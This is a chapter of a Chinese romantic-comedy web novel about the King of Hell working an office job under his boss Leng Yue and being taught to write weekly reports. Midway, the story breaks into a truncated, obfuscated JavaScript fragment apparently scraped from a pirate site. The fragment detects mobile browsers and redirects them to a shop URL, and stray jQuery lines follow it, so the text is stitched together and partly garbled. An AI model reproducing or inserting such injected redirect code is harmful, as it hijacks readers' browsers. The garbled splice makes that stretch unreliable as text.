27. 被套路的阎王大人

作品:《社恐阎王的人间日常

    冷樾说教他写周报,就真的认认真真的教他写周报。


    可临到头,不认真的那个反而成了阎璟。


    阎璟挪了挪腰,半侧过身,有些尴尬,“我们这个姿势,应该不对吧?”


    冷樾没有觉得有什么不妥,依旧端坐在太师椅上,顺手把人揽到自己腿上坐好,腰上的手紧了又紧,防止坐不稳再掉下去。


    “这样是不是太暧昧了?要不我再去拿一把椅子过来。”阎璟作势就想起身,重新搬把椅子坐旁边,却被冷樾一把拉住。


    他说:“男女之间如此,叫暧昧。我们是……男男。”


    哦,原来如此,似乎很有道理。


    男人和男人之间不用太在意细节,更不用拘泥小节。阎璟回想一下,“好像是这么回事。”


    他又不是女的,坐一下又不会怀孕!


    于是,冷樾带着他的手,一点点打开文件,手把手教他用键盘打字,组织语言。经过一个上午的努力不懈,终于,连着标题和第一段叙述加总结,磕磕绊绊总算写出来了。


    真不容易。


    只是两个大男人挤在一张椅子上,阎璟只觉得自己的腰都快僵了。


    他好不容易直起身舒舒服服伸了个懒腰,回头却见冷樾正垂着眼,下颌微微绷紧。


    “你也起来活动活动,别一直坐着。”


    冷樾何尝不想起身,可就是怕起来后,再吓到阎璟,因为身上那个不受控制的孽畜居然兴奋到不行。


    “你先去玩吧!我给你改改病句。”冷樾说的理所当然,阎璟也不疑有他,应了一声,转身就跑去庭院看茉莉花去了。


    直到那道身影消失在门边,冷樾才低头咒骂一声:真是要命!


    后来,冷樾又想故技重施,阎璟这次学聪明了,当场就拒绝。


    他吸取了之前的教训,打定主意再也不和冷樾挤一张椅子。


    又想起冷樾强调过要交纸质版报告,阎璟立刻以此为由堵了回去。


    这下可好,冷樾被自己说过的话给噎住,一时无言以对,只是暗暗懊悔,真是搬起石头砸了自己的脚。


    所以,阎璟决定亲手写一份。


    “不是这种纸质版……”冷樾在旁边再三解释。


    可阎璟说什么也不愿再缩进男人怀里,在电脑前一板一眼打字,太煎熬,态度异常坚决,“我不管,我就要自己写。”


    ”行!”冷樾只能无奈沉默。


    不上班的日子总是过得飞快。


    连着两天,阎璟都被冷樾看得死死的,耳边还时不时响起催促,“这么快就要放弃了吗?”


    阎璟一脸苦菜色,侧转过身目光看向背后的人,嘴上抱怨道,“不是放弃!咱们换个方式行不行?用电脑打字时,因为我不会,你手把手教也就算了,现在用毛笔写字,你还要握着我手教?我会写的!”


    “你会写,来来回回错了几张?”冷樾指着地上那几团废稿。


    “我那是……语言没有组织好。”


    听他叽里咕噜说了一大堆,拒绝一大推,冷樾最终还是觉得亲自上阵,手把手地督导起来。


    “为什么?”


    “因为我说过,你,我要亲自带。”


    “……”阎璟沉默了。


    直到双休日的晚上,被折磨了两天的阎璟整个人瘫在床上,一脸的生无可恋。


    没想到,冷樾平时看起来温温和和,一到工作状态就格外较真。


    连写毛笔字都要亲自带着他一笔一划运笔、落锋,生怕写错一处,整张纸就废了。


    都说认真的男人最帅,可阎璟此刻只觉得:太认真的男人,真要命!


    周一大清早上,阎璟把自己那份写得最满意的周报仔细折好,放进文件袋,得意洋洋的打卡上班。


    业务部门周一全员例会上,其他人交的都是平整的A4打印纸,唯独阎璟那份,折得厚厚一叠,活像一本奏折。


    别人笑他太疯癫,他笑别人也一样。


    看着正前方冷樾面无表情的收作业,只有他那份单独放在一旁孤苦伶仃,太显眼了!


    “不是说要手写吗?”他侧过头小声问旁边的白念生。


    白念生抬头瞥了一眼他那份厚道离谱的奏折,无奈回他,“是要纸质版没错,但你完全可以电脑编辑好再打印出来啊。”


    阎璟瞬间僵住,所以……


    他本不想太特殊,结果偏偏成了最显眼的那一个。


    白念生瞧他还真的是一笔一画写出来,不禁摇头叹气,“阎小璟,你也太实诚了。还用毛笔写!显着你了。”


    冷樾,对不起,他又错了。


    阎璟眼神偷瞄一眼正前方冷樾的方向,两人四目相对一瞬,立刻默契转移视线。


    后面不知道谁在角落里感慨,“哎呦我怎么感觉冷总监心情不错。”


    旁边的人立刻附和,“怎么说?”


    “这次没怼人。”


    旁边几个听到讨论的几个小道士纷纷点头,完全赞同。


    有人心情好,就意味着必定有人心情不好。


    例会结束后,其他人如释重负地散去了,唯独白念生被单独留了下来,二话不说被拎进了总监办公室。


    没人知道冷总监为什么只叫他一个人。


    没过多久,里面突然传出白念生要命的声音,办公室一干人等身子全部坐的铁直,竖起耳朵,恨不得趴上去听


    “啊?为什么偏偏派我去出差?那我要带阎小璟一起!”白念生睁着萌萌的大眼睛,提出意见。


    可惜意见没有被采纳,“他不行。”


    “凭什么?他不需要积累经验吗?”


    “他连基本操作都不熟,你带他去做什么?”冷樾的语气冷静而果断。


    “带他在旁边……给我喊六六六,喊加油!”


    直到冷樾看他的眼神越来越冷,白念生才冷哼一声,摔门而出。


    他一路哀嚎着回到工位,瘫在椅子上长吁短叹。


    在冷总监手底下干活,和在崔命那儿根本没什么区别,都一样折磨人。


    不对,还是有点不同的,在崔命那儿至少还能顶两句嘴,可到了冷樾这儿,就只有服从的份。


    命运啊,你太不公平了!


    这边,阎璟从茶水间接完水回来,见众人对白念生一副幸灾乐祸的模样,又见他这副颓废模样,忍不住凑过来关心,实则八卦道,“怎么了?”


    白念生哀怨地抬起头,扁着嘴,眼眶里似乎有泪光打转,“呜呜,我被发配边疆了……”


    “?”阎璟轻轻抚了抚他的后背,温声安慰,“要去很远的地方吗?多久?”


    “两天。”白念生有气无力地趴回桌上。


    “……”阎璟默默白了他一眼。


    才两天?这也叫发配边疆?


    白念生这次要去的地方有些特殊,虽心里有没有带上阎璟的不甘,却也没拖延,直接去金乔觉那儿报备后,就立即电梯直通负七层,悄无声息的定位出发。


    同行的还有A4组安饶小道士和闻不聊和尚,也就是当初跟阎璟同期面试上的那位道士和尚。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142128|195461||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >简直混搭风配置。


    阎璟瞥了一眼冷樾紧闭的办公室门,心里不知在琢磨什么。


    识海中,生死簿上,最近没出现什么新动静,那是人间界是发生什么事了吗?


    午餐时间,阎璟顶着同事们八卦的视线,左挪右移,看似不经意,实则光明正大地潜行到冷樾对面坐下。


    冷樾抬头看他一眼,觉得稀奇,这人一向在公司避他不及,这会子直接往他面前凑?


    冷樾吃饭动作优雅慢条斯理,仿佛面前真是美味佳肴。


    相比之下,阎璟只吃了两口米饭就放下了筷子。


    冷樾看着他碗里几乎没动的青椒炒香蕉,“怎么不吃?”


    阎璟摇摇头,“不饿。”


    “那这个吃吗?”冷樾示意自己餐盘里的西瓜炒葡萄。


    阎璟狠狠闭了闭眼,咽了下口水,“真不饿……晚上回去再说吧。”


    这里的饭菜不合阎璟胃口,他一贯是清楚的。冷樾眼里掠过一丝笑意,顺着他的话接道,“那你晚上想吃什么?”


    “只要是你做的,都行!”阎璟忽然反应过来,自己过来可不是讨论这个的,“对了,我有话问你,你让小白去做什么了?这么急,他连午饭都没吃。”


    冷樾视线扫过餐盘,淡淡道:“反正食堂也没什么好吃的。”


    阎璟低头看了眼自己打的菜。


    青椒炒香蕉,洋葱炒年糕,西柚炒普洱,绿茶糯米糕,遂又晃了晃脑袋,试图把奇怪的搭配甩出思绪,“这好像不是重点吧……”


    冷樾望着他,忽然转开话题,“我办公室有千层蛋糕,早上做的,一会儿来拿。”


    阎璟立马脱口而出:“好的。”


    冷樾微微一笑,端起餐盘自己转身走了。


    阎璟望着他的背影半晌,才回过神,“他还是没回答我。”


    冷樾的话,果然难套。


    白念生其实是临时去支援云为衫,云为衫身为A组业务经理兼奥迪A8组和A4组组长,早在一个月前接到超自然现象研究和防御局的委托,前去黄河沿岸处理一起黄河浮棺事件。


    原本事情在半个月前就该解决的事,但这都过去一个月之久。


    云为衫也没想到事情比想象中的还要棘手,应顾不暇,只能传讯公司请求支援。


    “黄河,浮棺。情况有变,速援!”


    冷樾接到传讯,第一时间就锁定了白念生。


    他毕竟是冥界地府的阴差,虽然只是实习的,但作用够了。


    阎璟也行,只是他的身份特殊,不能直接参与人间界的因果,这也是冷樾不告诉他的原因。


    可是,总有人贼心不死!


    半夜,阎璟偷偷溜进冷樾的房间,把人吵醒后就蹲在床边,旁敲侧击不断追问。


    冷樾一时无语,也很佩服他的执着,还是说,因为这段期间里,已经被伦晖科技公司的企业文化彻底荼毒入骨,启动八卦精神。


    “我只是想知道发生什么事了?”


    阎璟从后背拿出平板,登录生死簿app,查了首页和待办,一目了然,审批事项不多,最新数据的死亡名单都是阳寿已尽寿终正寝的人,合理,合法。


    冷樾一把把人拽上床,把平板往旁边一丢,把人压在身下,手撑在他脑袋两侧,“小璟啊,有没有人告诉你,半夜不能爬男人的床,很危险,知道吗?”


    阎璟也没想到冷樾力气居然这么大,一时竟无法挣开,歪头想了一下,“给你压,你能告诉我原因吗?”


    冷樾直接气笑了。